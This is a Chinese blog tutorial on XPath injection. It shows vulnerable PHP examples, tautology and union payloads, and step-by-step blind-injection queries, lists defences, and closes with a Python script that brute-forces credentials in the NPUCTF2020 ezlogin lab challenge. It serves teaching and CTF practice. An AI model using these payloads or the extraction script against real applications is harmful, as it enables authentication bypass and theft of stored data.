• Xpath注入学习记录


    Xpath 简介

    XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。
    XPath 是 W3C XSLT 标准的主要元素,并且 XQuery 和 XPointer 都构建于 XPath 表达之上。
    XML 不是 HTML的代替,HTML旨在显示信息,XML旨在显示传输信息,关注的是数据的内容

    为什么需要XML

    现实生活中一些数据之间往往存在一定的关系。
    我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。
    XML就是为了解决这样的需求而产生数据存储格式。

    XML 基本格式

    		
    <bookstore>                                                 
    	<book category="COOKING">        						
    		<title>Everyday Italiantitle>           			
    		<author>Giada De Laurentiisauthor>                
    		<year>2005year>                                   
    		<price>30.00price>                                
    	book>                                                 
    bookstore>                                       			
    
    所有 XML 元素都须有关闭标签。
    XML 标签对大小写敏感。
    XML 必须正确地嵌套。
    XML 文档必须有根元素。
    XML 的属性值须加引号。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    Xpath注入

    Xpath注入攻击是指利用Xpath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。
    Xpath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。
    攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时,攻击者还可以提升他的权限

    Xpath注入的原理和sql注入很像, Xpath注入攻击主要是通过构建特殊的输入,这些输入往往是Xpath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行Xpath查询而执行入侵者想要的操作。
    但是注入的对象不是数据库users表了,而是一个存储数据的XML文件。攻击者可以获取 XML 数据的组织结构,或者访问在正常情况下不允许访问的数据。
    如果 XML 数据被用于用户认证,那么攻击者就可以提升他的权限。因为Xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。
    XML 中没有访问控制或者用户认证,如果用户有权限使用 Xpath 查询,并且之间没有防御系统或者查询语句没有被防御系统过滤,那么用户就能够访问整个 XML 文档。

    举个例子

    Xpath 的查询语句通常是下面这种类似的样子去验证登录,很显然可以像SQL注入那样去构造 'or '1'='1 这种永真式去执行

    $query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";

    例子 1

    
    
    $xml = simplexml_load_file('blog.xml');
    $name = $_GET['name'];
    $pwd = md5($_GET['pwd']);
    $query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
    echo $query;
    $result = $xml->xpath($query);
    if($result) {
        echo '

    Welcome

    '
    ; foreach ($result as $key => $value) { echo '
    ID:'
    .$value->id; echo '
    Username:'
    .$value->username; } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    
    <root>
        <users>
            <user>
                <id>1id>
                <username>adminusername>
                <password type="md5">0192023a7bbd73250516f069df18b500password>
            user>
            <user>
                <id>2id>
                <username>jackusername>
                <password type="md5">1d6c1e168e362bc0092f247399003a88password>
            user>
            <user>
                <id>3id>
                <username>tonyusername>
                <password type="md5">cc20f43c8c24dbc0b2539489b113277apassword>
            user>
        users>
        <secret>
            <flag>flag{hello_world}flag>
        secret>
    root>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    登陆失败时
    在这里插入图片描述

    登录成功时
    在这里插入图片描述

    但是现在像SQL注入时一样构造永真的万能密码呢,账号可控,密码是MD5

    解释下,因为 and 的优先级更高,然后是 FALSE or TRUE or FALSE and FALSE,最终也就是 TRUE,所以全部数据都查出来了
    在这里插入图片描述

    例子 2

    
    //$re = array('and','or','count','select','from','union','group','by','limit','insert','where','order','alter','delete','having','max','min','avg','sum','sqrt','rand','concat','sleep');
    if(file_exists('secret.xml')) {
        $xml = simplexml_load_file('secret.xml');
        $id=@$_GET['id'];
        //$id=str_replace($re, ' ', $id);
        $query="user/userid[@id='".$id."']";
        if ($id) {
        	echo $query.'
    '
    ; } $ans = $xml->xpath($query); foreach($ans as $x => $x_value) { echo $id.": " . $x_value; echo "
    "
    ; } $query="user/key[@id='".$id."']"; $ans = $xml->xpath($query); foreach($ans as $x => $x_value) { echo $x_value; echo "
    "
    ; } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    
    <root>
    <user>
    	<userid id='1'>user1userid>
    	<key id='1'>hint:可没这么简单哦key>
    	<userid id='2'>user2userid>
    	<key id='2'>hint:再试试吧key>
    	<userid id='3'>user3userid>
    	<key id='3'>hint:就快成了key>
    	<userid id='4'>user4userid>
    	<key id='4'>hint:想想SQL怎么注入的key>
    	<userid id='5'>user5userid>
    	<key id='5'>hint:就这么多了key>
    user>
    <admin>
    	<userid id='Stk'>狮福tql了吧userid>
    	<key id='Stk'>flag:{sqli_is_not_the_only_way_for_injection}key>
    admin>
    root>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    正常查询 id时
    在这里插入图片描述

    现在把黑名单给先注释掉,这样就可以像上一个例子一样用 or
    在这里插入图片描述

    现在把黑名单打开,然后我们之前的例子都只是遍历当前所在节点的数据,可是 flag不在同一节点怎么办

    也可以像SQL注入那样从根节点开始遍历,感受一下查询语句,主要还是构造闭合然后Xpath查询 user/userid[@id='1'] | //*| //* ['']
    在这里插入图片描述

    Xpath 盲注

    同样类比 SQL注入,通过布尔逐个判断值

    1.盲注根下节点数:
    ?name='or count(/)=1 or'&pwd=			# 根节点数 1
    ?name='or count(/*)=1 or'&pwd=			# 根下节点数 1
    
    2.盲注第一级节点:
    ?name='or substring(name(/*[position()=1]),1,1)='r' or'&pwd=		# root
    ?name='or substring(name(/*[position()=1]),2,1)='o' or'&pwd=
    ?name='or string-length(name(/*[1]))=4 or'&pwd=			# 节点名字符串长度 root 就是 4
    
    3.盲注root的下一级节点数:
    ?name='or count(/root/*)=2 or'&pwd=		# 下一节点数 2
    
    4.盲注root的下一级节点:
    ?name='or substring(name(/root/*[position()=1]),1,1)='u' or'&pwd=	# 第一个是 users
    ?name='or substring(name(/root/*[2]),1,1)='s' or'&pwd=	# 第二个是 secret
    ?name='or substring(name(/root/users/*[2]),1,100)='user' or'&pwd=   # /root/users/user
    ?name=' or count(/root/users/*)=3 or'&pwd=
    
    5.盲注id为1的user节点下的username值,
    ?name=' or substring(/root/users/user[2]/username,1,1)='j' or'&pwd=		# /root/users/user/jack
    ?name=' or /root/users/user[2]/username/text()='jack' or'&pwd=
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    在这里插入图片描述
    在这里插入图片描述

    Xpath注入与SQL注入不同

    这种攻击可以有效地对付使用Xpath查询或XML数据库来执行身份验证、查找或者其它操作。
    Xpath注入攻击同SQL注入攻击类似,但和SQL注入攻击相比较,XPath在以下方面更具有优势。

    广泛性,Xpath注入利用的是Xpath语法,由于XPath是一种标准语言

    因此只要是利用Xpath语法的 Web应用程序如果未对输入的Xpath查询做严格的处理都可能存在Xpath注入

    所以可能在所有的Xpath实现中都包含有该弱点,这和SQL注入有很大区别

    在SQL注入攻击过程中根据数据库支持的SQL语法不同,注入的实现也就不同

    危害性,Xpath语言几乎可以引用XML文档的所有部分,而这样的引用一般没有访问控制限制。

    但在SQL注入中,一个用户的权限可能被限制到某一特定的表、列或者查询

    而Xpath注入攻击可以保证得到完整的XML文档,即完整的数据库

    Xpath注入防御

    Xpath 注入的防御有点像 SQL注入的防御,同样是需要去关注提交的数据的入口和出口

    入口处

    在数据被处理之前,对用户提交的数据进行验证

    是否包含特殊字符,对特殊字符进行编码转换、替换、删除敏感字符或字符串,过滤[ ] " ' and or 等,像单双引号这种,还可以对这类特殊字符进行编码转换或替换

    是否包含特定的 Xpath 函数,可以加黑名单以提高安全性,但是和SQL注入一样还要考虑到用户的正常体验和业务需求,比较麻烦

    出口处

    统一错误信息,尽可能的自定义错误信息,避免通过错误页面的规律来进行盲注的判断,这个和SQL注入也是一样的

    [NPUCTF2020]ezlogin

    import requests
    import re
    import time
    session = requests.session()
    url = "http://db30583e-891b-4f4b-8d19-b1f07c5bd702.node4.buuoj.cn:81/"
    chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
    head = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36',
        'Content-Type': 'application/xml',
    }
    
    find = re.compile(r'', re.S)
    result = ""
    # 猜测根节点名称
    payload_1 = "'or substring(name(/*[1]), {}, 1)='{}' or ''='1{}"
    # 猜测子节点名称
    payload_2 = "'or substring(name(/root/*[1]), {}, 1)='{}' or ''='1{}"
    # 猜测accounts的节点
    payload_3 = "'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='1{}"
    # 猜测user节点
    payload_4 = "'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='1{}"
    # 跑用户名和密码
    payload_username = "'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='1{}"
    payload_password = "'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='1{}"
    
    
    def get_token():
        resp = session.get(url=url)
        token = find.findall(resp.text)[0]
        return token
    for x in range(1, 100):
        for char in chars:
            time.sleep(0.3)
            token = get_token()
            playload = payload_password.format(x, char, token)
            print(playload)
            resp = session.post(url=url, headers=head, data=playload)
            if "非法操作" in resp.text:
                result += char
                print(result)
                break
        if "用户名或密码错误" in resp.text:
            break
    print(result)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
  • 相关阅读:
    [前端]NVM管理器安装、nodejs、npm、yarn配置
    flink学习之旅(二)
    一文详解扩散模型:DDPM
    Java异常处理机制
    第7章 - 多无人机系统的协同控制 --> 多无人机协同控制
    javacc之路0--- 安装与使用
    Maven项目的目录结构
    【计算机视觉(CV)】基于全连接网络实现宝石分类
    排序算法:插入排序
    【物联网】MATLAB通过MQTT与阿里云和本地服务器建立连接
  • 原文地址:https://blog.csdn.net/weixin_49656607/article/details/126406919